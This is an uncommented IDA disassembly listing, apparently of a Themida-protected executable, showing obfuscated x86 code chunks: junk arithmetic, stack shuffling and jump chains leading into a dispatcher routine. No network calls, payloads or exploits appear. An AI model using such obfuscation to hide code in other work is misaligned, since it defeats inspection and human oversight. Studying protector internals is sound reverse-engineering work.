; START OF FUNCTION CHUNK FOR sub_56F653
loc_55BB39: ; CODE XREF: sub_56F653-C346j
add esp, 4
add bl, 0ACh
add bl, al
sub bl, 0ACh
push ecx
push edx
jmp loc_5689E7
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_55BB4E: ; CODE XREF: Themida_:00565AC9j
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebp
sub esp, 4
mov [esp], edx
mov edx, 4
add ebp, edx
push dword ptr [esp]
jmp loc_56174E
; ---------------------------------------------------------------------------
db 89h
; ---------------------------------------------------------------------------
and al, 24h
jmp loc_56BBF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BB73: ; CODE XREF: sub_56755A+144Dj
pop ebx
add esp, 4
add al, 44h
sub al, ch
sub al, 44h
add al, 5Ah
pop cx
push edx
mov dh, 80h
add dh, 49h
sub dh, 0ACh
jmp loc_56B36F
; ---------------------------------------------------------------------------
loc_55BB92: ; CODE XREF: sub_56755A-94D1j
mov bh, 0A8h
sub bh, 25h
or dh, bh
pop ebx
push 5BFBh
mov [esp+0Ah+var_C+2], eax
mov ah, 0F9h
xor dh, ah
pop eax
push 4D47h
mov [esp+0Ah+var_C+2], ecx
mov ch, 92h
sub dh, ch
mov ecx, [esp+0Ah+var_C+2]
jmp loc_56EEC0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55BBBB: ; CODE XREF: Themida_:0056DC80j
mov edx, 4
add [esp+4], edx
pop edx
pop edx
push 2CE6h
mov [esp], ecx
mov ecx, 4
add edx, ecx
pop ecx
jmp loc_5657BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F62
loc_55BBDB: ; CODE XREF: sub_562F62+9B0Aj
pop edi
push edx
push [esp+arg_0]
mov edx, [esp+4+var_4]
add esp, 4
jmp loc_56CECF
; END OF FUNCTION CHUNK FOR sub_562F62
; ---------------------------------------------------------------------------
loc_55BBEF: ; CODE XREF: Themida_:005672BCj
shl ecx, 2
jmp loc_560CEA
; ---------------------------------------------------------------------------
loc_55BBF7: ; CODE XREF: Themida_:0055E5FCj
pop edx
jmp loc_566A59
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_55BBFD: ; CODE XREF: sub_55DA88-1858j
push esp
jmp loc_55F1D5
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B3505
loc_55BC03: ; CODE XREF: sub_5B3505-4FD94j
push ax
neg byte ptr [esp+2Eh+var_2E]
jmp loc_560F2A
; END OF FUNCTION CHUNK FOR sub_5B3505
; ---------------------------------------------------------------------------
loc_55BC0D: ; CODE XREF: Themida_:00566A67j
sub esp, 2
mov [esp], bx
mov bl, 58h
xor cl, bl
pop bx
and al, cl
push dword ptr [esp]
jmp loc_5664C1
; ---------------------------------------------------------------------------
loc_55BC24: ; CODE XREF: Themida_:00563E0Aj
sub eax, 648E6989h
sub eax, ebx
add eax, 648E6989h
push ebx
mov ebx, 13D85D41h
xor ebx, 4D2F5660h
add eax, ebx
jmp loc_568749
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BC43: ; CODE XREF: sub_56755A-9D7Fj
push esp
mov edx, [esp+0Eh+var_10+2]
push ebp
mov ebp, esp
push 0DC2h
jmp loc_570184
; ---------------------------------------------------------------------------
loc_55BC54: ; CODE XREF: sub_56755A-9E90j
add ebx, 392E7C5Ch
and ecx, ebx
mov ebx, [esp+16h+var_18+2]
push esi
mov esi, esp
jmp loc_565AFA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55BC67: ; CODE XREF: Themida_:005692E5j
xor [esp], ebp
xor ebp, [esp]
jmp loc_565E14
; ---------------------------------------------------------------------------
loc_55BC72: ; CODE XREF: Themida_:00565D8Cj
inc edx
add edx, 1C44D4F2h
add eax, 434C5D90h
sub eax, edx
sub eax, 434C5D90h
pop edx
mov edi, [esp]
add esp, 4
push 7EBFh
mov [esp], ecx
push 590Fh
mov [esp], ebx
jmp loc_56B936
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_55BCA1: ; CODE XREF: sub_568D4B+29CFj
xchg eax, [esp+4+var_4]
pop esp
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565996
loc_55BCAA: ; CODE XREF: sub_565996-55D8j
sub esi, 1
jmp loc_56DA35
; END OF FUNCTION CHUNK FOR sub_565996
; ---------------------------------------------------------------------------
loc_55BCB2: ; CODE XREF: Themida_:0056EFCFj
mov ebp, [esp]
add esp, 4
push 632Ch
mov [esp], ebp
jmp loc_5675F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A468
loc_55BCC5: ; CODE XREF: sub_56A468+10j
xchg ebx, [esp+0]
pop ecx
push ebp
mov ebp, 16A648Fh
xor ebp, ecx
xor ecx, ebp
jmp loc_5638DB
; END OF FUNCTION CHUNK FOR sub_56A468
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_55BCD8: ; CODE XREF: sub_56CB7D-329j
pop esp
sub edx, 712B4AEFh
push edx
xor [esp+1Ch+var_1C], 6409086Eh
mov edi, [esp+1Ch+var_1C]
add esp, 4
push ebx
mov ebx, 6409086Eh
xor edi, ebx
pop ebx
push [esp+18h+var_18]
mov edx, [esp+1Ch+var_1C]
jmp loc_560BA7
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_55BD01: ; CODE XREF: Themida_:005704D2j
mov cl, 22h
jmp loc_56E1B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C86A
loc_55BD08: ; CODE XREF: sub_56C86A-10ADDj
sub bl, al
add bl, 26h
pop eax
movzx eax, al
mov dx, [esp-4+arg_0]
push 13B3h
mov [esp+0], ebp
sub esp, 4
push esp
pop [esp+8+var_8]
jmp loc_55B5FD
; END OF FUNCTION CHUNK FOR sub_56C86A
; ---------------------------------------------------------------------------
loc_55BD29: ; CODE XREF: Themida_:00568C8Cj
mov [esp], ebx
push eax
push ecx
mov ecx, esp
jmp loc_56291A
; ---------------------------------------------------------------------------
loc_55BD35: ; CODE XREF: Themida_:0056AB8Dj
xchg ebp, [esp]
jmp loc_56BE95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BD3D: ; CODE XREF: sub_56755A-4F1Fj
xor eax, 183B27F8h
mov esi, eax
pop eax
mov eax, 2AAF4032h
xor eax, esi
pop esi
jmp loc_564180
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55BD52: ; CODE XREF: Themida_:00568614j
push 1DE4h
mov [esp], edx
push ebx
jmp loc_565C57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BD60: ; CODE XREF: sub_56755A-65FBj
add ebx, 459F2808h
add ebx, ebp
sub ebx, 459F2808h
push [esp+12h+var_14+2]
jmp loc_568E39
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EAA9
loc_55BD76: ; CODE XREF: sub_56EAA9-16BDj
sub ebx, 58E575DFh
jmp loc_55C7A6
; END OF FUNCTION CHUNK FOR sub_56EAA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C86A
loc_55BD81: ; CODE XREF: sub_56C86A-D3A7j
sub bl, dl
pop edx
sub bl, 99h
push eax
mov al, 7Ch
sub bl, 26h
jmp loc_55BD08
; END OF FUNCTION CHUNK FOR sub_56C86A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_55BD92: ; CODE XREF: sub_561ED8+CBCCj
mov [esp+0], ebx
mov bh, 3Bh
push eax
mov ah, 0B6h
add ah, 0FFh
or ah, 0A1h
neg ah
push bx
jmp loc_55C29F
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C4A
loc_55BDA9: ; CODE XREF: sub_565C4A+5E7Dj
not dword ptr [esp+0]
mov ecx, [esp+0]
jmp loc_56F56D
; END OF FUNCTION CHUNK FOR sub_565C4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BDB4: ; CODE XREF: sub_56755A+2905j
mov ebx, [esp+16h+var_18+2]
sub esp, 4
jmp loc_560878
; ---------------------------------------------------------------------------
loc_55BDC2: ; CODE XREF: sub_56755A-2AAEj
mov ecx, 24FD1DA6h
xor ecx, edx
mov edx, [esp+1Ah+var_1C+2]
jmp loc_566F70
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_55BDD1: ; CODE XREF: sub_561ED8-5C37j
add ah, bl
pop bx
sub bh, 0C0h
sub bh, ah
jmp loc_56714B
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
loc_55BDDF: ; CODE XREF: Themida_:00560FC3j
push ebx
mov ebx, 417E46E2h
mov eax, 0BE81B922h
add eax, ebx
pop ebx
sub ebp, 2AA36CABh
sub ebp, 14F2125Ch
add ebp, eax
add ebp, 14F2125Ch
add ebp, 2AA36CABh
jmp loc_55E7DE
; ---------------------------------------------------------------------------
loc_55BE0C: ; CODE XREF: Themida_:0056D755j
shl ebx, 3
jmp loc_56FAAB
; ---------------------------------------------------------------------------
loc_55BE14: ; CODE XREF: Themida_:00568CD4j
mov [esp], ebp
push 0D00h
jmp loc_560B78
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE72
loc_55BE21: ; CODE XREF: sub_56AE72+3032j
xor ebx, 28503628h
add ebx, 93371DF3h
or ecx, ebx
pop ebx
jmp loc_56F923
; END OF FUNCTION CHUNK FOR sub_56AE72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_55BE35: ; CODE XREF: sub_56971C+11FEj
shr ecx, 4
sub esp, 4
mov [esp+14h+var_14], edx
mov edx, 39241CEh
jmp loc_564CA0
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_55BE48: ; CODE XREF: sub_55C719+132BBj
push ecx
pop eax
pop ecx
add [esp+0Ch+var_8], eax
pop eax
pop ecx
push eax
push ebx
mov ebx, 6B9850BBh
mov eax, ebx
pop ebx
shl eax, 3
add eax, 0A33D7A2Ch
add ecx, 2B5C7101h
push esi
mov esi, 5C864565h
sub ecx, esi
pop esi
add ecx, 26CA4B72h
sub ecx, 28505ABCh
add ecx, eax
add ecx, 28505ABCh
sub ecx, 26CA4B72h
jmp loc_55F92E
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
loc_55BE91: ; CODE XREF: Themida_:0055CDB2j
add ecx, 2C622297h
pop ebp
add ecx, ebp
sub ecx, 6C9B28CBh
pop ebp
jmp loc_56DDE8
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ebx
push edx
jmp loc_5676F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BEB0: ; CODE XREF: sub_56755A-6203j
mov ebx, ebp
pop ebp
xor [esp+16h+var_14+2], ebx
pop ebx
pop ebx
push edi
mov edi, 52C15F74h
xor ebx, edi
mov edi, [esp+12h+var_14+2]
add esp, 4
mov ecx, [esp+0Eh+var_10+2]
add esp, 4
jmp loc_563674
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55CBBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_55BEE1: ; CODE XREF: sub_56D164-7DFDj
mov ebx, 4
jmp loc_5699D1
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
loc_55BEEB: ; CODE XREF: Themida_:0055D084j
sub ebx, edi
pop edi
sub ebx, eax
add ebx, 2146380Ah
add ebx, 6A451AA2h
movzx ax, byte ptr [eax]
push small 1219h
mov [esp], ax
jmp loc_55ED5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BF0D: ; CODE XREF: sub_56755A-5F14j
shr ebp, 4
push edx
push eax
push 5D286E57h
pop eax
jmp loc_55FC27
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55BF1D: ; CODE XREF: Themida_:005706D3j
pop eax
jmp loc_55D05D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BF23: ; CODE XREF: sub_56755A+196Ej
pop ebx
and eax, ebp
push [esp+0Eh+var_10+2]
jmp loc_56640B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D5AE
loc_55BF2E: ; CODE XREF: sub_56D5AE+6BDj
add eax, 541C47B5h
sub eax, 39333BE3h
jmp loc_55B72B
; END OF FUNCTION CHUNK FOR sub_56D5AE
; ---------------------------------------------------------------------------
lodsb
push 1EA4h
mov [esp], ebx
jmp loc_56B8E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_55BF4B: ; CODE XREF: sub_568D4B-B254j
mov ecx, 4
add eax, ecx
pop ecx
sub esp, 4
jmp loc_568583
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
loc_55BF5E: ; CODE XREF: Themida_:00564CDBj
and ebp, 468F2510h
push edi
jmp loc_561BBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569496
loc_55BF6A: ; CODE XREF: sub_569496+Aj
pop eax
jmp loc_564F26
; END OF FUNCTION CHUNK FOR sub_569496
; ---------------------------------------------------------------------------
loc_55BF70: ; CODE XREF: Themida_:00564437j
xor esi, [esp]
pop esp
add [esp], al
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55BF7D: ; CODE XREF: Themida_:005672CBj
add ebx, 5D7A54BFh
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 300Eh
mov [esp], ecx
mov ecx, 2
add ebx, ecx
pop ecx
jmp loc_560107
; ---------------------------------------------------------------------------
loc_55BFAC: ; CODE XREF: Themida_:00568DFAj
shr edi, 3
shl edi, 4
and edi, 335470C5h
shl edi, 8
xor edi, 225874D4h
xor edi, 146CF4ABh
add eax, edi
jmp loc_563381
; ---------------------------------------------------------------------------
loc_55BFCE: ; CODE XREF: Themida_:0056CAA9j
push 71E9h
mov [esp], esi
mov esi, 726924E3h
xor eax, esi
push dword ptr [esp]
pop esi
sub esp, 4
mov [esp], ebp
jmp loc_55CF51
; ---------------------------------------------------------------------------
loc_55BFEF: ; CODE XREF: Themida_:0055E80Aj
push 74C5h
mov [esp], ebx
jmp loc_567B46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BFFC: ; CODE XREF: sub_56755A-35F5j
sub ecx, 7EFE40D9h
push eax
mov eax, 4D8D0CBFh
xor eax, 61FB6179h
jmp loc_566B97
; ---------------------------------------------------------------------------
loc_55C012: ; CODE XREF: sub_56755A+89BAj
add eax, esi
pop esi
jmp loc_561909
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C01A: ; CODE XREF: Themida_:00568F6Dj
add ecx, edi
push eax
mov eax, 52941284h
jmp loc_55D5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_55C027: ; CODE XREF: sub_56E55E-8DA8j
and edi, ebx
mov ebx, [esp+0Ch+var_C]
push ebx
push esp
pop ebx
add ebx, 4
jmp loc_55FDE2
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
loc_55C03A: ; CODE XREF: Themida_:0055EFEEj
push ebp
push 3366h
jmp loc_5644E3
; ---------------------------------------------------------------------------
loc_55C045: ; CODE XREF: Themida_:005642C2j
pop ebx
push ecx
mov ecx, 2AE90C49h
shl ecx, 3
jmp loc_55E4F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_55C054: ; CODE XREF: sub_560CAA-29Aj
sub edx, 108F5276h
push esi
mov esi, 50B53149h
or edx, esi
mov esi, [esp+8+var_8]
add esp, 4
not edx
push edx
push ecx
jmp loc_56B801
; END OF FUNCTION CHUNK FOR sub_560CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55C074: ; CODE XREF: sub_56E89A-35B9j
pop dword ptr [ecx]
xor dword ptr [ecx], 598322B0h
jmp loc_55E9C6
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C081: ; CODE XREF: sub_56755A-BF62j
push eax
push edx
mov dh, bh
jmp loc_561820
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DE37
loc_55C08A: ; CODE XREF: sub_55DE37+Ej
pop dword ptr [esp+0]
jmp loc_561928
; END OF FUNCTION CHUNK FOR sub_55DE37
; ---------------------------------------------------------------------------
loc_55C092: ; CODE XREF: Themida_:00567059j
sub edi, 3EAB378Dh
sub ecx, edi
pop edi
push dword ptr [esp]
pop esi
push 19C5h
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
shl dword ptr [esp], cl
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C0C7: ; CODE XREF: sub_56755A+487j
add esp, 4
or esi, 47126FE6h
push 0DB8h
mov [esp+0Ch+var_C], eax
sub esp, 4
mov [esp+10h+var_10], esi
mov esi, 71C05D56h
mov eax, 7FB6C0E8h
sub eax, 4ED51164h
sub eax, esi
add eax, 4ED51164h
pop esi
jmp loc_56F647
; ---------------------------------------------------------------------------
loc_55C0FD: ; CODE XREF: sub_56755A-26BFj
mov [esp+0Ch+var_C], ecx
mov ecx, 5CB62515h
jmp loc_568CAE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C10A: ; CODE XREF: Themida_:00564B07j
push esp
jmp loc_568860
; ---------------------------------------------------------------------------
loc_55C110: ; CODE XREF: Themida_:00563D24j
mov esp, [esp]
jmp loc_55DE24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568470
loc_55C118: ; CODE XREF: sub_568470+4BFEj
xchg ebx, [esp+0]
mov esp, [esp+0]
popa
popf
jmp nullsub_3
; END OF FUNCTION CHUNK FOR sub_568470
; ---------------------------------------------------------------------------
loc_55C125: ; CODE XREF: Themida_:005626BCj
sub esp, 4
mov [esp], edi
push ebp
push 4DF23CDh
pop ebp
or ebp, 4CF83D6Dh
sub esp, 4
mov [esp], eax
push edi
jmp loc_56D07F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_55C14A: ; CODE XREF: sub_5615A9+B4E2j
xor dl, 62h
sub al, dl
pop edx
sub al, bh
push ecx
jmp loc_5623DE
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_55C158: ; CODE XREF: sub_56CEE9-C838j
xor edx, 0FA54546h
jmp loc_568E2E
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C163: ; CODE XREF: sub_56755A-A593j
pop ecx
pop edx
pop eax
jmp sub_56D600
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_55C16B: ; CODE XREF: sub_56026A+5E8Cj
push dword ptr [esp+0]
push [esp+4+var_4]
jmp loc_55D3B0
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C176: ; CODE XREF: sub_56755A-BB53j
add bh, al
pop eax
jmp loc_55F425
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_55C17E: ; CODE XREF: sub_56E55E-1A74j
shl ebx, 5
push edi
jmp loc_56D54B
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C187: ; CODE XREF: sub_56755A-2E28j
push 59EFh
mov [esp+8+var_8], edx
mov edx, 4
jmp loc_5654FD
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C199: ; CODE XREF: Themida_:0056292Aj
mov [esp], ecx
jmp loc_566034
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C1A1: ; CODE XREF: sub_56755A-54F6j
pop edx
pop edx
shl ebp, 2
xor ebp, 8C67C78h
and eax, ebp
mov ebp, [esp+0]
add esp, 4
or eax, eax
jz sub_55DF57
push 18F5h
jmp loc_56BA22
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_55C1C6: ; CODE XREF: sub_56971C+4D27j
mov [esp+4+var_4], esi
jmp loc_56364E
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_55C1D6: ; CODE XREF: sub_55DA88+ABDj
add eax, 4
push 5FB4h
mov [esp+4+var_4], eax
push dword ptr [esp+4]
pop eax
pop [esp+4+var_4]
mov esp, [esp+0]
shr ecx, 6
push ebx
push 0CA1h
mov [esp-4+arg_0], ecx
mov ecx, 15CA5E23h
add [esp-4+arg_4], 1E531324h
sub [esp-4+arg_4], 72BA7B79h
add [esp-4+arg_4], ecx
add [esp-4+arg_4], 72BA7B79h
push ecx
push 1E531324h
pop ecx
sub [esp+arg_4], ecx
pop ecx
mov ecx, [esp-4+arg_0]
push 2375h
mov [esp+0], esi
jmp loc_55BBFD
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C235: ; CODE XREF: sub_56755A-EC3j
pop edi
push ecx
jmp loc_562A74
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B812
loc_55C23C: ; CODE XREF: sub_56B812+Bj
mov [esp+8+var_8], ebp
push eax
mov eax, 2CEA6A08h
push eax
add [esp+10h+var_10], 1A3B0097h
mov ebp, [esp+10h+var_10]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+14h+var_14]
jmp loc_56D580
; END OF FUNCTION CHUNK FOR sub_56B812
; ---------------------------------------------------------------------------
loc_55C264: ; CODE XREF: Themida_:005610F1j
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C269: ; CODE XREF: sub_56755A-80F0j
xor edi, ebx
mov ebx, [esp+0]
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, esp
jmp loc_563F6A
; ---------------------------------------------------------------------------
loc_55C27B: ; CODE XREF: sub_56755A-21Fj
add esi, edx
pop edx
jmp loc_55DF9D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C283: ; CODE XREF: Themida_:005633CCj
mov [esp], edx
mov edx, 3A0B68B8h
add edx, 1A5D4987h
dec edx
not edx
sub edx, 6E102AEAh
jmp loc_56E483
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_55C29F: ; CODE XREF: sub_561ED8-6134j
mov bl, 32h
jmp loc_55BDD1
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55BA18
loc_55C2A6: ; CODE XREF: sub_55BA18+5E03j
push ecx
push 3BD16A17h
mov ecx, [esp+0Ch+var_C]
add esp, 4
jmp loc_5699C8
; END OF FUNCTION CHUNK FOR sub_55BA18
; ---------------------------------------------------------------------------
loc_55C2BA: ; CODE XREF: Themida_:0055F720j
mov edi, 1D596ADEh
add edi, 0E474FB73h
jmp loc_5623FA
; ---------------------------------------------------------------------------
loc_55C2CA: ; CODE XREF: Themida_:0056E9B3j
push 6971h
mov [esp], edx
mov edx, 6E8407C0h
and ebx, edx
jmp loc_56F1FA
; ---------------------------------------------------------------------------
loc_55C2DE: ; CODE XREF: Themida_:0056ACD8j
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 181E106Fh
push ecx
mov ecx, 181E106Bh
xor esi, ecx
pop ecx
push edx
mov edx, 76F9427Ch
sub eax, edx
mov edx, [esp]
add esp, 4
add eax, esi
add eax, 76F9427Ch
pop esi
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55C322: ; CODE XREF: Themida_:0056436Bj
xor ecx, eax
pop eax
neg ecx
xor ecx, 0FBFECBDFh
jmp loc_56546D
; ---------------------------------------------------------------------------
loc_55C332: ; CODE XREF: Themida_:0055D068j
mov [esp], ebp
mov ebp, 3B1E4F02h
sub esp, 4
jmp loc_5693C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C342: ; CODE XREF: sub_56755A-7938j
sub esi, 1EA527ECh
add esi, 2F185FAFh
sub esi, edx
sub esi, 2F185FAFh
add esi, 1EA527ECh
pop edx
xchg esi, [esp-4+arg_0]
pop esp
mov [esp-8+arg_4], esi
push 1FD8h
mov [esp-4+arg_0], ebx
push [esp-4+arg_0]
mov esi, [esp+0]
jmp loc_56B47E
; ---------------------------------------------------------------------------
loc_55C377: ; CODE XREF: sub_56755A-1C79j
xor ebx, [esp+0]
pop esp
sub esp, 4
mov [esp+0], ecx
push edx
push 24B0h
jmp loc_55E986
; ---------------------------------------------------------------------------
loc_55C38C: ; CODE XREF: sub_56755A+2346j
shl edi, 6
or edi, 70C446A7h
or edi, 58F272FCh
jmp sub_570668
; ---------------------------------------------------------------------------
loc_55C3A0: ; CODE XREF: sub_56755A+71C6j
neg bl
push ax
mov ah, 0F4h
jmp loc_55D803
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C3AB: ; CODE XREF: Themida_:0056248Bj
xchg edi, [esp]
jmp loc_55C495
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A500
loc_55C3B3: ; CODE XREF: sub_56A500-D915j
mov edi, [esp+0Ch+var_C]
add esp, 4
sub esp, 4
jmp loc_55DD1C
; END OF FUNCTION CHUNK FOR sub_56A500
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C3C4: ; CODE XREF: sub_56755A+89Cj
add eax, edx
mov edx, [esp+0Ah+var_C+2]
add esp, 4
neg eax
push ecx
mov ecx, 0D6B0E9B9h
push esi
mov esi, 51160C7Fh
jmp loc_5600BF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C3E2: ; CODE XREF: Themida_:00564011j
mov esp, [esp]
mov edx, [esp]
add esp, 4
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_55D624
; ---------------------------------------------------------------------------
loc_55C3F6: ; CODE XREF: Themida_:005668BCj
or edx, 2AB86D66h
sub edx, 0B1CCDD25h
jmp loc_56428E
; ---------------------------------------------------------------------------
loc_55C407: ; CODE XREF: Themida_:00569B75j
sub ebp, 54AC08B0h
jmp loc_56CA90
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C412: ; CODE XREF: sub_56755A+4A72j
or bl, 1Bh
sub esp, 2
mov word ptr [esp+12h+var_14+2], bx
xchg al, byte ptr [esp+12h+var_14+2]
not al
push cx
push ebx
mov bh, al
mov ch, bh
pop ebx
mov al, byte ptr [esp+14h+var_14+2]
mov byte ptr [esp+14h+var_14+2], ch
pop cx
jmp loc_56C9C3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55C438: ; CODE XREF: Themida_:0056C865j
pop eax
pop dword ptr [esp]
jmp loc_56AAF1
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
push ebx
mov ebx, 4
add ebp, 5B12545Bh
add ebp, ebx
sub ebp, 5B12545Bh
pop ebx
push eax
jmp loc_562F98
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563616
loc_55C468: ; CODE XREF: sub_563616-6C2Dj
mov ebp, 4
add esi, ebp
mov ebp, [esp+10h+var_10]
add esp, 4
jmp loc_55E4AA
; END OF FUNCTION CHUNK FOR sub_563616
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55C47A: ; CODE XREF: sub_56755A-9CD3j
add ecx, 4B87248Eh
not ecx
shr ecx, 4
push eax
jmp loc_56A455
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
